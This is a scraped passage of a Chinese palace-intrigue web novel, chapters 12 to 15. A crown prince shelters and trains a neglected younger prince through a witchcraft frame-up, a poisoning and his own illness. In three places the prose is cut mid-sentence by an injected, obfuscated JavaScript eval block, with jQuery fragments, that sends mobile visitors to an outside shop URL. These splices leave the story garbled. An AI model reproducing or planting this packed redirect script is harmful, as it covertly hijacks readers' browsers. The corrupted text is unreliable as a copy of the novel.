莫忘之看着他眼中燃起的火,静默一瞬,才淡淡道:“收拾一下。这里不能住了。” 对方没有解释要带他去哪里,也没有安慰。但玉凌绝什么也没问,只是默默地跟上他的脚步,踏着一地破碎的月光,离开了这片他挣扎求生多年。今夜又险些葬送他的废墟。 一种前所未有的焦灼与不甘,如同野火般在他心底窜起。他不要只做被庇护者,他想要……想要拥有力量,足够强大的力量。强大到有朝一日,当风雨袭向他时,自己也能如他今夜这般,毫不犹豫地挡在他身前,成为他的盾,而非累赘。 宫巷幽深,前路未卜。但玉凌绝知道,从今夜起,有些东西,已经彻底不同了。 12. 【拾贰】 莫忘之并未将玉凌绝带离冷宫范围,而是绕至西侧最偏僻的一处荒废宫苑。这里藤蔓缠死了朱门,椽角结满了蛛网,但内里一间小小的空房却被悄然收拾过,虽依旧简陋,却干净蔽风,甚至有一床半新的被褥。 “暂居于此。”莫忘之推开吱呀作响的木门,语气平淡无波。 玉凌绝站在门口,看着屋内简单却齐整的陈设,再回想方才那场险些致命的构陷,黑眸中翻涌着未散的余悸与晦暗。他踏入门槛,第一次主动开口,声音因紧绷而沙哑:“他们不会善罢甘休。” “自然。”莫忘之转身掩上门,将凄清的月光挡在门外,“打草惊蛇,蛇若不死,必会再动。” 他点醒玉凌绝,今夜之事,无论成败,幕后之人已露痕迹,也必会做出应对。 中间的桌上摊开一卷舆图,上面勾勒着边境的粗略形势。莫忘之拉他坐在旁边,把琉璃宫灯放在桌上,开始教他分析境内的势力情况。 “宰相门人掌控西境粮草,意在钳制镇西军。而国师一派,则在东境安插亲信,渗透水师。”莫忘之的指尖在舆图上轻点,声音不高,却字字清晰,“两虎相争,边境不宁,苦的终究是黎民与士卒。” 玉凌绝凝神细听,目光紧随那移动的指尖,试图将那些抽象的权力符号与广袤的真实疆域联系起来,他觉眼前那简陋的屋舍仿佛化作了金殿之上无形的刀光剑影。他不再是局外人,而是这棋局中,一个已被标注重要的点。 就在这时,窗棂轻响了三下,两长一短。 莫忘之眉梢微动,上前打开窗户。一道身影如夜燕般轻盈掠入,带来外面夜雨的潮气和高束马尾划过的利落弧度。 是燕沧溟。她依旧是那身利落的劲装,只是今夜眉眼间少了平日的洒脱,多了几分沉凝。她先扫了一眼安然无恙的玉凌绝,似是松了口气,随即目光便落在莫忘之脸上。 “宫里闹耗子。”她开门见山,嗓音压得低,却带着战场磨砺出的金石之质,“说是冷宫这边出了巫蛊,刘秉笔带着人扑了个空,灰头土脸地回去了。”她说着,嘴角勾起了毫不掩饰的讥诮,“老阉狗回去的路上,‘不小心’摔进了太液池边未干的泥坑里,断了两根肋骨。” 玉凌绝抬头看向莫忘之,而他只是垂眸整理着方才因动作而微乱的袖口,仿佛未闻。 燕沧溟抱臂倚在墙边,继续道:“我手下有个小崽子,他爹在宰相府的马厩当差。听说前几日国师门下有个专司炼丹的道童,老家似乎与刘秉笔是邻县。” 而的话如同散落的珠玉,看似无关,却在玉凌绝心中瞬间串联成线。国师的人,通过同乡关系,怂恿或利用了宰相门下如刘秉笔这等角色,来行此构陷之事?抑或是更复杂的互相利用与嫁祸? 莫忘之终于抬眼,看向燕沧溟赞许道:“师姐的消息,总是这般及时。” 燕沧溟哼笑一声,目光锐利地转向玉凌绝:“小子,现在知道你这条小命,被多少人惦记上了?”她的话语丝毫不客气,带着近似磨砺兵刃般的严厉,“躲在壳里,可防不住明枪暗箭。” “多谢……师姐。”他哑声道,这几个字说得艰涩,却异常清晰。 燕沧溟挑眉,倒是没再说什么,只从怀里掏出个油纸包,随手扔过去:“接着!粗面饼子顶饿。” 那饼子硬得像石头,与莫忘之带来的精致点心天差地别。玉凌绝却紧紧攥住,仿佛攥住了一份截然不同却同样真实的力量。 莫忘之将两人的互动看在眼里,什么也没说,只是默默笑了笑。他继续走回桌边,在积着薄尘的桌面上缓缓划出几道痕迹。 燕沧溟转而看向桌上的舆图,脸上的嬉笑之色收敛了几分,眼神锐利如鹰隼,伸出带着薄茧的指尖,点在镇西军驻守的关隘处。 “宰相那老狐狸卡着粮草,军中弟兄这个冬天怕是不好过。国师那边的杂碎,也在东边水师里上蹿下跳,安插些只会溜须拍马的废物,真打起来屁用没有!”她语气里带着毫不掩饰的鄙夷与愤懑。 她的话语直白而血腥,带着边军将士特有的粗旷味道,玉凌绝听得心头一跳,下意识地看向莫忘之。 莫忘之微微颔首,目光重新落回舆图沉思。 “那我们……”他下意识地问,带着初涉棋局的跃跃欲试与不确定。 莫忘之尚未回答,燕沧溟已抱臂冷笑,接口道:“怎么办?自然是把水搅得更浑!他们不是喜欢玩阴的吗?”她眼中闪过锐光,“刘秉笔摔断了肋骨,他手下那几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105166|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爪牙总也得尝尝倒霉的滋味。正好,我这儿还知道点宰相家公子强占民田逼出人命的糟烂事儿……” 莫忘之抬了抬手,止住她的话头,目光却转向玉凌绝,带着询问。 玉凌绝黑眸闪烁,脑中飞快地权衡。片刻,他抬起头,眼神已是一片冰冷的沉静:“刘秉笔手下之人,可动。宰相公子之事,暂不宜由我们掀出。此时揭破,于国师有利。” 莫忘之眼中掠过些许讶异,随即化为淡淡的欣慰。小家伙学得很快,已懂得权衡势力,借力打力,而非一味逞凶斗狠。 “善。”他颔首,“便依你之言。师姐,有劳。” 燕沧溟看看莫忘之,又看看仿佛一夜之间褪去青涩稚气的玉凌绝,咧嘴一笑,带着几分野性的畅快:“成!这活儿我接了,保证让他们哑巴吃黄连!” 她灌了一口酒,看向玉凌绝,挑眉笑道:“怎么样,阿绝?真正的天地,还在外面!等你再大些,师姐带你去边关,让你看看什么叫真正的大漠孤烟,长河落日!那才叫痛快!” 玉凌绝没有回答,只是黑沉的眸子里,映着星辉与酒囊里晃动的波光,悄然燃起一簇向往的火焰。 莫忘之将他的神色尽收眼底,并未多言,只将舆图默默卷起。 “夜深了,师姐也该回去了。路上小心。” 燕沧溟潇洒地一摆手,身形一动,便再次如夜燕般掠上墙头,消失在浓重的夜色里,只留下那若有若无的酒香,和一句随风飘来的话语: “知道啦!啰嗦!” 庭院内重归寂静,唯有风吹过老树枯枝的细微声响。 莫忘之起身,对玉凌绝道:“今日便到此。记住师姐的话,也记住我教你的。权谋是术,格局是道。” 玉凌绝站在他身侧,望着窗外沉沉的夜幕,低低应了一声: “嗯。” 他清晰地认识到,今夜若无莫忘之,他已成冤魂,若无燕沧溟带来的这些消息,他们便如盲人摸象。他不再是独自挣扎的弃子,他被卷入了一场更巨大的风暴,这个认知让他心跳加速,不是恐惧,而是一种混杂着紧张与兴奋的战栗。 他看着莫忘之离去的身影,第一次觉得,这深宫高墙,似乎再也困不住他了。 13. 【拾弎】 盛夏时节,御花园的繁花开得如火如荼,秾丽得近乎妖异。连带着冷宫废弃苑落的角落里,也蔓生着些许不知名的野花,点缀着断壁残垣。 这日午后天气有些闷热。莫忘之难得在白日里过来,神色间带着不易察觉的凝重。他并未如常考校课业或分析时局,只递给玉凌绝一只小巧的锦囊,囊身绣着简单的云纹,看不出特别。 “随身带着,莫要离身,也莫要让旁人知晓。”他的声音依旧平稳,但玉凌绝敏锐地捕捉到那平静下的暗流。 玉凌绝接过,入手只觉锦囊轻飘飘散出异香。内里似乎只有张折叠的薄纸,或是些许干燥的粉末。他虽不解其意,但对莫忘之的话已近乎本能地遵从,默默将锦囊塞入怀中贴身藏好。 “近日宫中不太平,无事少出这院子。”莫忘之又嘱咐了一句,目光扫过院中那株老树,枝叶蓊郁,投下大片阴凉。 就在这时,院外忽然传来阵急促杂乱的脚步声,伴随着内侍尖细焦急的呼喊:“快!拦住它!别让它跑了!” 只见一只通体雪白的狸猫,爪子上似乎沾着些许污迹,惊惶失措地窜入院落,直往那老树下钻去。紧接着,三四名手持棍棒网兜的内侍气喘吁吁地追了进来,为首的赫然又是那位刘秉笔。 刘秉笔一眼看到树下的莫忘之和玉凌绝,眼中飞快闪过阴狠与算计,随即换上一副惶恐焦急的面孔,尖声道:“殿下恕罪!这孽畜惊扰了贵妃娘娘的驾,还打翻了陛下亲赐的琉璃盏,奴婢等正奉命捉拿!” 他话音未落,目光却似无意般扫过那只狸猫钻入的树洞,随即脸色“大变”,指着那处厉声道:“那是什么?!” 一名小太监顺着指引,战战兢兢上前,伸手在树洞里掏摸几下,竟摸出个小小的扎满银针的布偶!布偶身上似乎还写着模糊的字迹,裹着一块明黄色的碎布。 巫蛊。又是巫蛊! 玉凌绝瞳孔骤缩,全身的血液仿佛瞬间冻结。他立刻明白,这是一个针对他,或者说,是针对他身后莫忘之更为狠毒的局! “好啊!果然藏匿此等大逆不道之物!”刘秉笔脸上露出狰狞的得意,“给咱家拿下这……” 他“孽种”二字尚未出口,一直沉默的莫忘之却动了。他并未看那布偶,反而一步上前,将玉凌绝更严实地挡在身后,目光冷冷地投向刘秉笔:“刘秉笔,今日之事,未免太过巧合。” “殿下!人赃并获,您还要维护这……”刘秉笔尖声反驳。 就在双方对峙,气氛剑拔弩张之际,异变再生。那名从树洞中掏出布偶的小太监,突然身体剧烈地抽搐起来,口鼻中溢出黑血,双眼暴突,直挺挺地向后倒去,“嘭”地一声砸在地上,手中的布偶也滚落一旁,那明黄色的碎布在尘土中格外刺眼。 死了。瞬间毒发身亡。 所有人都被这突如其来的死亡骇住了。现场一片死寂,唯有那浓郁的血腥气开始弥漫。 刘秉笔也显然没料到会闹出人命,脸色白了白,但随即眼神更加狠戾,指着玉凌绝:“定是这孽种杀人灭口!快!将他……” 他话音未落,莫忘之却猛地侧身,将玉凌绝完全护住,同时抬手似乎要去格开一名欲上前拿人的侍卫。也就在这一瞬间,那原本躺在地上“死去”的狸猫,不知何故猛地蹿起,发疯般横冲直撞扑其面门! 事起突然,莫忘之似乎避之不及,袖袍就被利爪撕裂,手臂上赫然出现几道深可见骨的血痕,鲜血瞬间涌出,染红了素色的衣袖。 “师兄!” 玉凌绝失声惊呼。 莫忘之却看都未看自己的伤口,反手用未受伤的手臂将扑上来的狸猫拂开,那猫儿落地打了个滚,七窍流血,抽搐几下也不再动弹,彻底死了。 接连的死亡与莫忘之手臂上刺目的红让场面彻底失控,也彻底点燃了玉凌绝眼中的火焰。 他看着地上两具迅速冰冷的尸体,看着那沾染了尘土和血迹的巫蛊布偶,看着莫忘之为了护他而不断淌血的手臂……那些曾经只在言语中听闻的权谋诡计,血腥倾轧,此刻以最直观残酷的方式砸在他的眼前。 什么巧合?什么证据?不过是精心设计用人命堆砌的杀局!若非莫忘之早有防备,若非那幕后之人急于灭口连自己人也毒杀,此刻倒在地上的,恐怕就是他自己了! 一股混杂着恐惧愤怒以及某种冰冷觉悟的情绪,在他胸腔里疯狂冲撞。他黑沉的眸子里最后一点惊惶被彻底碾碎,取而代之的是一种近乎实质的寒芒。 玉凌绝猛地抬头,目光如淬了毒的匕首,直刺向刘秉笔。暗青色的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105167|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袂在风中微动,衬得他脸色更加苍白,而那双眼,此刻青光凛冽,左耳侧那缕小辫也因他激动的情绪而微微晃动。 “刘秉笔,今日之事,死了两个人,伤了大皇兄。你口口声声拿人,证据呢?就凭这不知何时被人塞进树洞的玩意,和这只明显也中了毒的畜生?”他向前踏出一步,明明身形尚小,那气势却让刘秉笔下意识后退了半步,“还是说,你本就知晓这猫爪带毒,故意纵它行凶,意图谋害皇子?!” 他字字诛心,将“谋害皇子”的罪名反掷了回去。 刘秉笔被他问得哑口无言,脸色煞白。他没想到这平日里沉默阴郁的小崽子,此刻竟如此牙尖嘴利,句句戳在要害上。更何况,太子确实在他眼前受了伤,这罪名若坐实,他一百个脑袋也不够砍。 莫忘之适时地开口,声音因失血略显虚弱,却带着不容置疑的威仪:“刘秉笔,还不去请太医?顺便将此地发生之事,原原本本,禀报父皇与……贵妃娘娘知晓。”他特意在“贵妃娘娘”四字上略略停顿。 刘秉笔如蒙大赦,又似被厉鬼追赶,连滚带爬地带着剩下的人退了出去,连那布偶和尸体都顾不上处理。 院落内重归死寂,只剩下浓郁的血腥味和死亡的阴影。 玉凌绝立刻回到莫忘之身边,看着他手臂上狰狞的伤口,想碰又不敢碰,声音带着颤抖:“你……你的手……” 莫忘之低头看了看伤口,眉头微蹙,却还是用那只完好的手摸了摸他的头,动作依旧自然熟稔。 “皮肉伤,无碍。”他顿了顿,看着玉凌绝那双被怒火与恐惧灼烧得异常明亮的眼睛,轻声道,“现在,你看到了?这便是他们的手段。今日若非……总之,日后需更加小心。” 他没有明说锦囊之事,也没有追问玉凌绝方才超乎年龄的凌厉。有些成长,需要血与火的淬炼方能成型。 玉凌绝重重地点头,他看着地上那太监死不瞑目的双眼,看着那污秽的布偶,最后目光落在莫忘之染血的衣袖上。 他伸出小手,小心翼翼地,虚虚地扶住莫忘之未受伤的手臂,低声道:“我扶你回去。” 莫忘之看着他眼中那破碎后又重塑的光芒,终是叹息一声,任由他扶着,一步步离开了这片被死亡与阴谋玷污的院落。 14. 【拾肆】 莫忘之手臂的伤势不轻,深可见骨的抓痕隐隐泛着不祥的青黑色,显是爪上带毒。那翻卷的皮肉与淋漓的鲜血刺得玉凌绝眼眶生疼。太医院的人被刘秉笔战战兢兢地引来,敷上解毒生肌的膏药,整个过程,莫忘之面色苍白如纸,却未曾哼出一声。 闻讯赶来的东宫属官们面色惶惶,追问事情始末。莫忘之只倚在软枕上,脸色因失血略显苍白,却依旧是那副云淡风轻的模样,将事情简略带过,只说是被受惊的畜生所伤,对巫蛊毒杀以及玉凌绝的存在,皆含糊其辞。 玉凌绝固执地守在榻边,看着那清洗上药包扎的每一道工序,紧抿的唇瓣没有多少血色,仿佛那痛楚都烙印在了他自己的心上。 待到太医包扎完毕,躬身退下,室内重归寂静,只剩下烛火噼啪的轻响。 玉凌绝这才缓缓抬起一直紧握成拳的手,摊开。掌心已被自己的指甲掐出数道血痕。他伸出另只微微颤抖的手,小心翼翼地触向莫忘之未受伤的那只手臂,冰凉的指尖碰到温热的皮肤,引得莫忘之眼睫微动,睁开了眼。 “……疼么?”玉凌绝的声音干涩沙哑。 莫忘之看着他眼中尚未褪去的惊悸与强装的镇定,摇了摇头,声音因虚弱而比平日更显低沉:“无妨。”他目光下落,瞥见玉凌绝掌心的血痕,眉头蹙了一下,“你的手……” 玉凌绝却猛地缩回手,仿佛被烫到一般。他低下头,从怀中掏出那只依旧轻飘飘的锦囊,递到莫忘之面前。 “这个……?”他问,声音里带着不易察觉的颤抖。他记得莫忘之递给他时的凝重,记得那瞬间毒发身亡的太监和狸猫,更记得自己怀中这锦囊在那刻似乎散发出过一缕清冽异香。 莫忘之没有立刻回答,只是用那双清的眸子静静看着他,仿佛在审视他经此一役后的心境。片刻,他才缓声道:“打开看看。” 玉凌绝依言,指尖有些笨拙地解开锦囊的系带。里面并无香草,只有张折叠得整整齐齐的,泛着微黄的薄纸,一小撮灰白色细腻如尘的粉末,以及一片干枯又形状奇特的暗红色叶片,嗅之无味。 他首先打开纸条。展开一看,上面并非咒文,而是写满了密密麻麻的小字。 那是一些人名官职,以及看似零碎的信息片段。有些名字旁标注着“可用”“贪财”“惧内”,有些信息则是“某月某日,于某地见某人与某秘会”“其外室居城南槐树胡同”等等。 玉凌绝初看时不明所以,但随着目光扫过几个略微眼熟的名字,再结合那些简短备注,他猛地明白了这是什么——这是一张关系网,一张隐藏在平静水面下的,关于朝堂各方势力人马的隐私与把柄。 其中几个名字,赫然与今日发难的刘秉笔,以及刘秉笔背后隐约指向的贵妃一系,有着千丝万缕的联系。甚至有一个名字,旁注着“与刘秉笔为同乡,有旧怨”。 “这张纸上的东西,你仔细记下。”莫忘之说道,“并非要你即刻动用,而是让你知晓,这宫墙之内,并非铁板一块。人心有隙,便可为我所用。今日之后,他们必不会善罢甘休,你要学会如何利用,保护自己。” 玉凌绝紧紧攥着那张轻飘飘却重若千斤的薄纸,指尖因用力而泛白。上面的每个字都仿佛带着血腥气,烙印在他的脑海里。这不再是莫忘之口中抽象的权谋课业,而是实实在在能定人生死的武器。 “我……记住了。”他哑声应道,每一个字都像是从齿缝中挤出。他将纸上的内容反复默念,直至确认牢牢刻入心底,然后走到灯烛旁,将其点燃。火焰跳跃着,吞噬了那些隐秘的名字与信息,化作小撮灰烬。 有些东西,记在心里,比拿在手中更安全,也更强大。 “那这些是……”玉凌绝回头看向剩下的东西,眼中露出疑惑。 “粉末是‘息影’,产自南疆。其异香能加速身边毒素或中毒者的扩散,但可能会使其死前更加暴躁疯狂。那片叶子名‘赤魇’,虽不能解百毒,但可暂缓‘牵机’,‘鹤顶红’之类常见剧毒发作,争得一线生机。”莫忘之如同在介绍寻常花草,“那布偶与猫爪之上,淬的应是毒性迟缓的毒药,那太监触碰布偶后被异香加速毒发,猫儿抓伤我后亦死。” 玉凌绝捏着锦囊的手指猛地收紧。所以,莫忘之早已料到对方可能用毒,所以,在那太监掏出布偶瞬间,莫忘之便已知晓其中有诈,所以,他才会那般镇定,甚至……是故意以身涉险,去挡那可能抓向自己的毒爪? 他们不仅要诬陷他巫蛊,更要借刀杀人,让他“意外”毒发身亡,死无对证。 莫忘之目光转向因毒性迟缓几字而再度绷紧身体的玉凌绝,声音依旧平稳,仿佛在说一件寻常旧事: “无妨。我既知他们可能用毒,又怎会毫无防备?”他顿了顿,看向玉凌绝,解释道:“赤魇虽不能解百毒,但能护住心脉,延缓多数毒药发作,为救治争取时间。”这也是他为何在中爪后,虽流血不止,却并未如那太监和狸猫般立刻毒发身亡的原因。太医后来的诊治,更多是处理外伤和清除残留的,已被其效力大大削弱了的余毒。 “他们……是冲我来的……”他声音干涩,带着压抑的颤抖,“你早知道……你为何……”为何要替我挡?为何要涉险? 莫忘之目光依旧平静,甚至带着点倦意。“皮肉伤,换你平安,值得。”他顿了顿,“况且,若无此变,如何能拿到对方如此确凿的‘罪证’?那猫毒,那灭口的小太监,如今都成了他们无法抵赖的铁证。” 他面无表情,像在说今夜月色尚好,却决定了数条人命的归宿。 但看着对方苍白的脸色,玉凌绝还是声音发颤:“可若那毒再烈几分,或是剂量再大些… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105168|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “没有若是。”莫忘之打断他,声音虽轻,却带着不容置疑的定力。“算计之中,自有分寸。”他这话像是在宽慰他,更像是在教导他——真正的权谋,需算无遗策,将自身也置于棋局中权衡,但绝不能真的踏过生死线。 深夜最后一场雨落下,带着洗刷一切的决绝。雨停后,燕沧溟再次如夜燕般潜入。 她一眼便看到莫忘之臂上缠绕的细布,眉头瞬间拧紧,眼神锐利如刀。“怎么回事?”她声音压得很低,却带着风暴来临前的压抑。 莫忘之尚未开口,玉凌绝已抢先一步,用异常平静的语调,将当日之事简洁清晰地叙述了一遍,关于那针对性的毒药,关于莫忘之可能的将计就计,关于刘秉笔背后可能指向贵妃乃至宰相的阴影。 燕沧溟听着,脸色越来越沉,听到最后,她猛地一拳砸在石桌上,发出沉闷的响声。“好!好得很!用这等下作手段,连个冷宫弃子都不放过!”她眼中怒火熊熊,转向莫忘之,“你也是!明知是坑还往里跳?!” 莫忘之抬眸看她,眼神依旧平静无波:“不跳,如何让他们相信饵已吞下?如何让他们放松警惕,露出更多破绽?”他顿了顿,看向玉凌绝,“况且,阿绝做得很好。” 这是他第一次如此明确地赞许自己在这场血腥博弈中的表现。 玉凌绝心头一热,垂下眼睫,掩去眸中翻涌的情绪。 燕沧溟深吸一口气,强行压下怒火,冷笑道:“放心,边关那边,老头子们最近‘不小心’劫了宰相门下几批要紧的物资,够那老狐狸肉疼一阵子了。东境水师里,也有几个不开眼的‘失足’落海了。”她的话语带着直接的血腥,“他们既然把手伸得太长,就别怪咱们把爪子给他剁了!” 她又看向玉凌绝,眼神复杂,带着欣赏,也有担忧:“看来这吃人的地方,是真把你逼出来了。也好,早点看清,早点知道该怎么活。” 玉凌绝迎上她的目光,黑沉的眸子里没有任何退缩,只有一片冰冷的坚定。“我知道。”他低声说,声音不大,却掷地有声。 他又看向莫忘之的侧脸,心中那份守护的欲望,与日渐增长的权力野心交织缠绕,再也分不清彼此。 这江山权柄,他依旧看不清自己最终想要什么,但至少此刻,获取它们,有了一个无比清晰的目标。 为了有资格,站在他身边,而非身后。 他开始向莫忘之询问朝中更隐秘的派系纠葛,关注边境更细微的兵马调动。他甚至凭借对冷宫各处废弃殿宇,隐秘通道的熟悉,凭借那些被遗忘却依旧能在阴影中传递消息的老宦官老宫婢,尝试着编织起一张属于自己的,微弱却真实存在的耳目网络。 他不再仅仅是接受保护的学生,他开始尝试着用自己稚嫩却已淬炼得冰冷的手,去触碰那权力的獠牙。 15. 【拾伍】 秋意已深,连绵的阴雨带来的潮气尚未散尽,夜风里已带了彻骨的凉意。巫蛊风波过去数日,莫忘之手臂上的伤渐愈,拆了细布,只留下一道淡粉色的新疤横亘在清瘦的小臂上,如玉有瑕。 自那日后,玉凌绝便格外留意。他注意到莫忘之身上多了点若有若无的清苦药香,与他平日熏的冷冽雪松香不同。而且他畏寒似乎比常人更甚些,指尖也常带着那股凉意。 玉凌绝起初只当他是伤口初愈,或是被这秋雨伤了元气。莫忘之依旧前来教导他功课,分析越发紧张的朝局,神色如常。只是偶尔,在那平静的语调下,会泄露出一两声沉闷的低咳。 直到一晚,莫忘之在讲解一段兵法要义时,语速渐缓,末了,竟是阵难以抑制的低咳。他偏过头,以袖掩唇,肩头微微颤动。那咳嗽声压抑着,是怕惊扰了这夜的宁静,却在寂静的夜里清晰得令人心慌。 玉凌绝正凝神听着,见状不由心头一紧,问道:“你怎么了?” “无碍。”莫忘之放下衣袖,神色如常,甚至拿起玉凌绝临摹的字帖看了看,点评道:“笔意渐稳,杀伐之气过重,少了三分回转余地。”他说话时,气息有些不匀,尾音带着微不可闻的轻颤。 玉凌绝黑沉的眸子紧锁着他:“……真的没事?” “些许夜寒侵肺,老毛病了。” 他语气淡然,随手端起温水饮了口,似要压下喉间不适。 “老毛病?”玉凌绝却不肯被他糊弄过去,他紧紧盯着莫忘之没什么血色的唇,心口像被细针猝然刺入,酸胀难言,“是旧伤未愈?还是那日的毒……”他不敢想下去,一种名为恐惧的情绪开始蔓延开来,比面对巫蛊构陷时更甚。 “与那无关。” 莫忘之截断他的话,神色一贯的平静,甚至带了点不以为意,“自幼如此,咳几声罢了,不致命。” 见少年眼中忧惧未散,他顿了顿,难得补充,“太医署说是先天心脉略弱,兼之思虑过甚,静养便好。” 静养?在这吃人的深宫里,在如今波谲云诡的局势下,何来静养? “你……”玉凌绝喉头哽咽,想说什么,却发现自己词穷。责备他不爱惜身体?自己有何立场?哀求他多保重?在这深宫,谁又能真正主宰自己的安危? 他看着对方轻描淡写地说成“咳几声”,看着那试图用平静掩盖的模样,一股无名火混着尖锐的心疼猛地窜起。他想起莫忘之总是微凉的手,想起他偶尔流露出的倦色,想起他无论多晚都会来看自己的身影……最终只能死死咬着下唇,眸子里翻涌着剧烈的无力感,指甲深深掐进掌心。 莫忘之看着他这副样子,沉默了片刻,忽然朝他伸出手,不是以往牵他手腕或覆上手背的姿态,而是轻轻拍了拍他紧握的拳。 “别担心。”他的声音很低,带着安抚,在夜风中几乎听不真切,“死不了。” 但玉凌绝猛地甩开他的手,扭过头,胸口剧烈起伏。他愤恨这人云淡风轻的样子,愤恨他将自己隔绝在外的姿态,更恨……自己此刻无能为力的恐慌。 那晚的课终究没有上成。 自那之后,玉凌绝变得更加沉默,也更加细致。他会提前将炭盆烧得旺旺的,会在他咳嗽时默不作声地递上杯一直温着的热水。他甚至开始翻阅记忆莫忘之带来的那些医书,试图从那些艰涩的药名里找到一点点安心的依据。 他还在石凳上铺了层厚厚的旧棉垫,那是他拆了自已一件冬衣的内胆改的。莫忘之第一次触到那软垫时,动作顿了下,抬眼看向玉凌绝。少年却只是垂着眼眸,专注地盯着摊开的书卷,仿佛那垫子是自己长出来的一般。 莫忘之将他的举动看在眼里,从不点破,也从未拒绝。只是坐下时,会将那暖炉往玉凌绝那边推近。 但他的脸色还是一日差过一日。那咳嗽的症状非但未见好转,反而发作得愈发频繁,虽每次都被他轻描淡写地遮掩过去,但那眉宇间挥之不去的倦意与苍白紧紧扎着玉凌绝的心头。 直到那场寒气初凝的夜晚。莫忘之来得比平日稍晚,身上带着室外清冽的霜气。他脸色比往常更苍白几分,连那惯常的,若有若无的笑意也显得有些勉强。 “今日朝会上吵得头疼,”他揉着额角,在石凳上坐下,声音带着一缕沙哑,“我们今晚不讲那些勾心斗角,只下棋,可好?” 玉凌绝自然无异议。他默默将炭盆挪得近些,又取来了莫忘之留在这里的暖手炉,仔细塞好新炭,递过去。 莫忘之接过手炉,指尖冰凉触到玉凌绝的皮肤,让他心头又是一紧。棋局开始,莫忘之落子依旧精准,思路清晰,只是速度比平时慢了些,偶尔会停下来,借着执棋的动作,以拳抵唇,压抑着喉咙深处细微的痒意。 一局终了,莫忘之险胜。他似是松了口气,身体自然而然地松懈下来,那强撑的精神一旦散去,疲惫便如潮水般涌上。 “今日便到这里吧。”他的声音依然沙哑,起身欲走,身形却晃了下,便下意识地伸手扶住了冰冷的石桌边缘。 玉凌绝心头一跳,刚要上前,却见莫忘之已稳住身形,朝他摆了摆手,示意无碍。他转身走向院门,脚步看似平稳,背影却透出一种强撑的僵硬。 玉凌绝不放心,默不作声地跟在他身后几步远的地方,想目送他安全离开这废弃宫苑。 就在莫忘之即将踏出那扇破败院门时,突然像是被什么绊了下,又像是终于耗尽了最后一丝气力,身体猛地向前一倾,竟未能稳住,单膝重重地磕在了冰冷的青石板,狼狈地摔在了地上。 与此同时,一阵撕心裂肺的呛咳再也压抑不住,从他喉间汹涌而出。他再也无力维持那份从容,只能用另一只手死死捂住嘴唇,脊背痛苦地弓起,剧烈的咳嗽让他单薄的身体颤抖得像秋风中的残叶。那咳嗽声在寂静的夜里显得格外清晰而骇人,仿佛要将五脏六腑都咳出来。 “师兄!”玉凌绝脑中一片空白,几乎是瞬间冲到了他身边。 他伸手想要扶住对方,指尖却在触碰到他的肩膀时,感受到了阵阵剧烈的无法控制的颤抖。触手之处隔着那层衣衫,也能感觉到那下面骨骼的硌手和身体的冰冷。月光下他清晰地看到,有殷红的血丝从他紧紧捂唇的指缝间渗出,蜿蜒而下,一滴,两滴,落在身前冰冷的泥地上,滴落在他月白色的衣襟上,晕开一小片刺目的暗红。 “药……你的药呢?”玉凌绝声音发颤,慌乱地在他身上摸索。 莫忘之似乎想推开他,想说些什么,却被更猛烈的咳嗽打断。他额角冷汗涔涔,浸湿了鬓发,平日里清冷平静的眸子因痛苦而涣散,映着模糊的月光。 玉凌绝手忙脚乱地去翻莫忘之随身的那个小行囊,里面除了书,总备着一些丸散药剂。他终于在深处摸到那个冰凉的小瓷瓶,颤抖着拔开塞子,也顾不得多少,倒出两粒朱红色的药丸便要往忘之嘴里塞。 莫忘之却猛地偏头避开,喘息着挤出破碎的字:“……水……” 玉凌绝恍然,忙跑去端来自己温着的水,小心递到他唇边。 莫忘之急促地吞咽几下,勉强服下药丸。随后他像是被抽空所有力气,整个人脱力般向后靠去,倚进玉凌绝并不宽阔的怀里,双眼紧闭,胸口剧烈起伏,苍白的唇被血迹沾染。 玉凌绝来不及多想,本能地伸出双臂,将那不断轻颤的冰冷身躯紧紧拥住。 怀中躯体先是骤然一僵,显露出下意识的抗拒,仿佛不惯于如此赤裸的依靠。但在那实实在在的温暖包裹下,那紧绷的脊背终于一点点松懈下来。他无意识地向着热源靠拢,额头抵在玉凌绝尚且单薄却坚定的肩窝,急促呼吸拂过颈侧,带来阵阵微痒的战栗。 玉凌绝看着他从未示人的狼狈与脆弱,下意识想替他拭去唇边血迹,指尖却悬在半空,不敢落下。他怕惊扰这片刻安宁,更怕触到的是比想象中更冰冷的温度。 他就这样抱着他,用自己年轻炽热的体温去暖那冰凉的躯体,一动也不敢动。不知过了多久,怀中颤抖渐息,呼吸变得绵长,身体也不再那么冰冷,仿佛终于在这笨拙却坚定的守护中,寻得些许喘息之机,竟沉沉睡去。 